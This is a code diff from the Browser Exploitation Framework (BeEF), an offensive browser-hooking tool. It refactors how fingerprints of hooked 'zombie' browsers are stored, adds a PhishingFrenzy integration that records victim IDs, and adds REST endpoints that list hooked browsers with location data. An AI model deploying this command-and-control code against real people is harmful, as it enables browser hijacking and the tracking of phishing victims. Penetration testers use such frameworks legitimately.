self.err_msg "Invalid value for HasActiveX returned from the hook browser's initial connection."
end
# get and store the yes|no value for HasSilverlight
has_silverlight = get_param(@data['results'], 'HasSilverlight')
if BeEF::Filters.is_valid_yes_no?(has_silverlight)
BD.set(session_id, 'HasSilverlight', has_silverlight)
else
self.err_msg "Invalid value for HasSilverlight returned from the hook browser's initial connection."
end
# get and store the yes|no value for HasQuickTime
has_quicktime = get_param(@data['results'], 'HasQuickTime')
if BeEF::Filters.is_valid_yes_no?(has_quicktime)
BD.set(session_id, 'HasQuickTime', has_quicktime)
else
self.err_msg "Invalid value for HasQuickTime returned from the hook browser's initial connection."
end
# get and store the yes|no value for HasRealPlayer
has_realplayer = get_param(@data['results'], 'HasRealPlayer')
if BeEF::Filters.is_valid_yes_no?(has_realplayer)
BD.set(session_id, 'HasRealPlayer', has_realplayer)
else
self.err_msg "Invalid value for HasRealPlayer returned from the hook browser's initial connection."
end
# get and store the yes|no value for HasWMP
has_wmp = get_param(@data['results'], 'HasWMP')
if BeEF::Filters.is_valid_yes_no?(has_wmp)
BD.set(session_id, 'HasWMP', has_wmp)
else
self.err_msg "Invalid value for HasWMP returned from the hook browser's initial connection."
end
# get and store the yes|no value for HasVLC
has_vlc = get_param(@data['results'], 'HasVLC')
if BeEF::Filters.is_valid_yes_no?(has_vlc)
BD.set(session_id, 'HasVLC', has_vlc)
else
self.err_msg "Invalid value for HasVLC returned from the hook browser's initial connection."
# get and store the yes|no value for browser components
components = [
'VBScriptEnabled', 'HasFlash', 'HasPhonegap', 'HasGoogleGears',
'HasFoxit', 'HasWebSocket', 'HasWebRTC', 'HasActiveX',
'HasSilverlight', 'HasQuickTime', 'HasRealPlayer', 'HasWMP',
'hasSessionCookies', 'hasPersistentCookies'
]
components.each do |k|
v = get_param(@data['results'], k)
if BeEF::Filters.is_valid_yes_no?(v)
BD.set(session_id, k, v)
else
self.err_msg "Invalid value for #{k} returned from the hook browser's initial connection."
end
end
# get and store the value for CPU
cpu_type = get_param(@data['results'], 'CPU')
if !cpu_type.nil?
if BeEF::Filters.is_valid_cpu?(cpu_type)
BD.set(session_id, 'CPU', cpu_type)
else
self.err_msg "Invalid value for CPU returned from the hook browser's initial connection."
@@ -319,22 +341,6 @@ module BeEF
self.err_msg "Invalid value for TouchEnabled returned from the hook browser's initial connection."
end
# get and store whether the browser has session cookies enabled
has_session_cookies = get_param(@data['results'], 'hasSessionCookies')
if BeEF::Filters.is_valid_yes_no?(has_session_cookies)
BD.set(session_id, 'hasSessionCookies', has_session_cookies)
else
self.err_msg "Invalid value for hasSessionCookies returned from the hook browser's initial connection."
end
# get and store whether the browser has persistent cookies enabled
has_persistent_cookies = get_param(@data['results'], 'hasPersistentCookies')
if BeEF::Filters.is_valid_yes_no?(has_persistent_cookies)
BD.set(session_id, 'hasPersistentCookies', has_persistent_cookies)
else
self.err_msg "Invalid value for hasPersistentCookies returned from the hook browser's initial connection."
end
# log a few info of newly hooked zombie in the console
print_info "New Hooked Browser [id:#{zombie.id}, ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}], hooked domain [#{log_zombie_domain}:#{log_zombie_port.to_s}]"
@@ -360,6 +366,16 @@ module BeEF
print_info "Autorun executed[#{autorun.join(', ')}] against Hooked browser [id:#{zombie.id}, ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}]"
end
end
if config.get('beef.integration.phishing_frenzy.enable')
# get and store the browser plugins
victim_uid = get_param(@data['results'], 'PhishingFrenzyUID')
if BeEF::Filters.alphanums_only?(victim_uid)
BD.set(session_id, 'PhishingFrenzyUID', victim_uid)
else
self.err_msg "Invalid PhishingFrenzy Victim UID returned from the hook browser's initial connection."
end
end
end
def get_param(query, key)

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -21,7 +21,7 @@ module BeEF
beef_js_path = "#{$root_dir}/core/main/client/"
# @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated
ext_js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js lib/mdetect.js)
ext_js_sub_files = %w(lib/jquery-1.10.2.min.js lib/jquery-migrate-1.2.1.min.js lib/evercookie.js lib/json2.js lib/jools.min.js lib/mdetect.js lib/webrtcadapter.js)
# @note BeEF libraries: need Eruby evaluation and obfuscation
beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js net/cors.js are.js)
@@ -29,6 +29,10 @@ module BeEF
if config.get("beef.http.websocket.enable") == true
beef_js_sub_files << "websocket.js"
end
# @note Load webrtc library only if WebRTC extension is enabled
if config.get("beef.extension.webrtc.enable") == true
beef_js_sub_files << "webrtc.js"
end
# @note antisnatchor: leave timeout.js as the last one!
beef_js_sub_files << "timeout.js"
@@ -38,7 +42,7 @@ module BeEF
# @note If Evasion is enabled, the final ext_js string will be ext_js_to_obfuscate + ext_js_to_not_obfuscate
# @note If Evasion is disabled, the final ext_js will be just ext_js_to_not_obfuscate
ext_js_sub_files.each{ |ext_js_sub_file|
ext_js_sub_files.each { |ext_js_sub_file|
if config.get("beef.extension.evasion.enable")
if config.get("beef.extension.evasion.exclude_core_js").include?(ext_js_sub_file)
print_debug "Excluding #{ext_js_sub_file} from core files obfuscation list"
@@ -103,6 +107,11 @@ module BeEF
hook_session_config['websocket_sec_port']= config.get("beef.http.websocket.secure_port")
end
# @note Set if PhishingFrenzy integration is enabled
if config.get("beef.integration.phishing_frenzy.enable")
hook_session_config['phishing_frenzy_enable'] = config.get("beef.integration.phishing_frenzy.enable")
end
# @note populate place holders in the beef_js string and set the response body
eruby = Erubis::FastEruby.new(beef_js)
@hook = eruby.evaluate(hook_session_config)

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -29,6 +29,7 @@ module BeEF
command_module = BeEF::Modules::Commands.const_get(command_module.path.split('/').last.capitalize).new
else
key = BeEF::Module.get_key_by_database_id(command.command_module_id)
(print_error "Could not find command module with ID #{command.command_module_id}"; return) if key.nil?
command_module = BeEF::Core::Command.const_get(config.get("beef.module.#{key}.class")).new(key)
end
@@ -52,7 +53,7 @@ module BeEF
if config.get("beef.http.websocket.enable") && ws.getsocket(hooked_browser.session)
#content = command_module.output.gsub('//
#//
#// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
#// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
#// Browser Exploitation Framework (BeEF) - http://beefproject.com
#// See the file 'doc/COPYING' for copying permission
#//

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -36,10 +36,9 @@ module Core
raise Exception::TypeError, '"from" needs to be a string' if not from.string?
raise Exception::TypeError, '"event" needs to be a string' if not event.string?
raise Exception::TypeError, '"Hooked Browser ID" needs to be an integer' if not hb.integer?
# logging the new event into the database
@logs.new(:type => "#{from}", :event => "#{event}", :date => time_now, :hooked_browser_id => hb).save
print_debug "Event: #{event}"
# if notifications are enabled send the info there too
if @notifications
@notifications.new(from, event, time_now, hb)

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -80,6 +80,7 @@ module Models
return BeEF::Core::Constants::Os::OS_UNKNOWN_IMG if ua_string.nil?
return BeEF::Core::Constants::Os::OS_WINDOWS_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_WINDOWS_UA_STR
return BeEF::Core::Constants::Os::OS_ANDROID_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_ANDROID_UA_STR
return BeEF::Core::Constants::Os::OS_LINUX_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_LINUX_UA_STR
return BeEF::Core::Constants::Os::OS_QNX_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_QNX_UA_STR
return BeEF::Core::Constants::Os::OS_BEOS_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_BEOS_UA_STR
@@ -91,7 +92,6 @@ module Models
return BeEF::Core::Constants::Os::OS_MAEMO_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_MAEMO_UA_STR
return BeEF::Core::Constants::Os::OS_MAC_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_MAC_UA_STR
return BeEF::Core::Constants::Os::OS_BLACKBERRY_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_BLACKBERRY_UA_STR
return BeEF::Core::Constants::Os::OS_ANDROID_IMG if ua_string.include? BeEF::Core::Constants::Os::OS_ANDROID_UA_STR
BeEF::Core::Constants::Os::OS_UNKNOWN_IMG
end

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -94,7 +94,7 @@ module BeEF
# execute(msg_hash)
# end
# }
# rescue Exception => e
# rescue => e
# print_error "WebSocket-secured error: #{e}"
# end
# end
@@ -150,7 +150,7 @@ module BeEF
# execute(msg_hash)
# end
# }
# rescue Exception => e
# rescue => e
# print_error "WebSocket error: #{e}"
# end
# end
@@ -203,7 +203,7 @@ module BeEF
execute(msg_hash)
end
}
rescue Exception => e
rescue => e
print_error "WebSocket error: #{e}"
end
end

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -37,12 +37,19 @@ module BeEF
end
end
module RegisterServerHandler
def self.mount_handler(server)
server.mount('/api/server', BeEF::Core::Rest::Server.new)
end
end
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterHooksHandler, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterModulesHandler, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterCategoriesHandler, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterLogsHandler, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterAdminHandler, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterServerHandler, BeEF::API::Server, 'mount_handler')
#
# Check the source IP is within the permitted subnet

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -52,7 +52,7 @@ module BeEF
"token" => "#{config.get('beef.api_token')}"
}.to_json
end
rescue Exception => e
rescue => e
error 400
end
end

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -43,6 +43,68 @@ module BeEF
output.to_json
end
get '/:session/delete' do
hb = BeEF::Core::Models::HookedBrowser.first(:session => params[:session])
error 401 unless hb != nil
details = BeEF::Core::Models::BrowserDetails.all(:session_id => hb.session)
details.destroy
logs = BeEF::Core::Models::Log.all(:hooked_browser_id => hb.id)
logs.destroy
commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hb.id)
commands.destroy
results = BeEF::Core::Models::Result.all(:hooked_browser_id => hb.id)
results.destroy
begin
requester = BeEF::Core::Models::Http.all(:hooked_browser_id => hb.id)
requester.destroy
rescue => e
#the requester module may not be enabled
end
begin
xssraysscans = BeEF::Core::Models::Xssraysscan.all(:hooked_browser_id => hb.id)
xssraysscans.destroy
xssraysdetails = BeEF::Core::Models::Xssraysdetail.all(:hooked_browser_id => hb.id)
xssraysdetails.destroy
rescue => e
#the xssraysscan module may not be enabled
end
hb.destroy
end
#
# @note this is basically the same call as /api/hooks, but returns different data structured in arrays rather than objects.
# Useful if you need to query the API via jQuery.dataTable < 1.10 which is currently used in PhishingFrenzy
#
get '/pf/online' do
online_hooks = hbs_to_array(BeEF::Core::Models::HookedBrowser.all(:lastseen.gte => (Time.new.to_i - 15)))
output = {
'aaData' => online_hooks
}
output.to_json
end
#
# @note this is basically the same call as /api/hooks, but returns different data structured in arrays rather than objects.
# Useful if you need to query the API via jQuery.dataTable < 1.10 which is currently used in PhishingFrenzy
#
get '/pf/offline' do
offline_hooks = hbs_to_array(BeEF::Core::Models::HookedBrowser.all(:lastseen.lt => (Time.new.to_i - 15)))
output = {
'aaData' => offline_hooks
}
output.to_json
end
#
# @note Get all the hooked browser details (plugins enabled, technologies enabled, cookies)
#
@@ -69,20 +131,45 @@ module BeEF
end
def get_hb_details(hb)
details = BeEF::Core::Models::BrowserDetails
details = BeEF::Core::Models::BrowserDetails
{
'id' => hb.id,
'session' => hb.session,
'name' => details.get(hb.session, 'BrowserName'),
'version' => details.get(hb.session, 'BrowserVersion'),
'os' => details.get(hb.session, 'OsName'),
'platform' => details.get(hb.session, 'BrowserPlatform'),
'ip' => hb.ip,
'domain' => details.get(hb.session, 'HostName'),
'port' => hb.port.to_s,
'page_uri' => details.get(hb.session, 'PageURI')
}
{
'id' => hb.id,
'session' => hb.session,
'name' => details.get(hb.session, 'BrowserName'),
'version' => details.get(hb.session, 'BrowserVersion'),
'os' => details.get(hb.session, 'OsName'),
'platform' => details.get(hb.session, 'BrowserPlatform'),
'ip' => hb.ip,
'domain' => details.get(hb.session, 'HostName'),
'port' => hb.port.to_s,
'page_uri' => details.get(hb.session, 'PageURI')
}
end
# this is used in the 'get '/pf'' restful api call
def hbs_to_array(hbs)
hbs_online = []
hbs.each do |hb|
details = BeEF::Core::Models::BrowserDetails
# TODO jQuery.dataTables needs fixed array indexes, add emptry string if a value is blank
hbs_online << [
hb.id,
hb.ip,
details.get(hb.session, 'PhishingFrenzyUID'),
details.get(hb.session, 'BrowserName'),
details.get(hb.session, 'BrowserVersion'),
details.get(hb.session, 'OsName'),
details.get(hb.session, 'BrowserPlatform'),
details.get(hb.session, 'BrowserLanguage'),
details.get(hb.session, 'BrowserPlugins'),
details.get(hb.session, 'LocationCity'),
details.get(hb.session, 'LocationCountry'),
details.get(hb.session, 'LocationLatitude'),
details.get(hb.session, 'LocationLongitude')
]
end
hbs_online
end
end

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -149,7 +149,7 @@ module BeEF
data.each{|k,v| options.push({'name' => k, 'value' => v})}
exec_results = BeEF::Module.execute(modk, params[:session], options)
exec_results != nil ? '{"success":"true","command_id":"'+exec_results.to_s+'"}' : '{"success":"false"}'
rescue Exception => e
rescue => e
print_error "Invalid JSON input for module '#{params[:mod_id]}'"
error 400 # Bad Request
end
@@ -203,7 +203,7 @@ module BeEF
end
end
results.to_json
rescue Exception => e
rescue => e
print_error "Invalid JSON input passed to endpoint /api/modules/multi"
error 400 # Bad Request
end
@@ -265,7 +265,7 @@ module BeEF
}
end
results.to_json
rescue Exception => e
rescue => e
print_error "Invalid JSON input passed to endpoint /api/modules/multi"
error 400 # Bad Request
end

Some files were not shown because too many files have changed in this diff Show More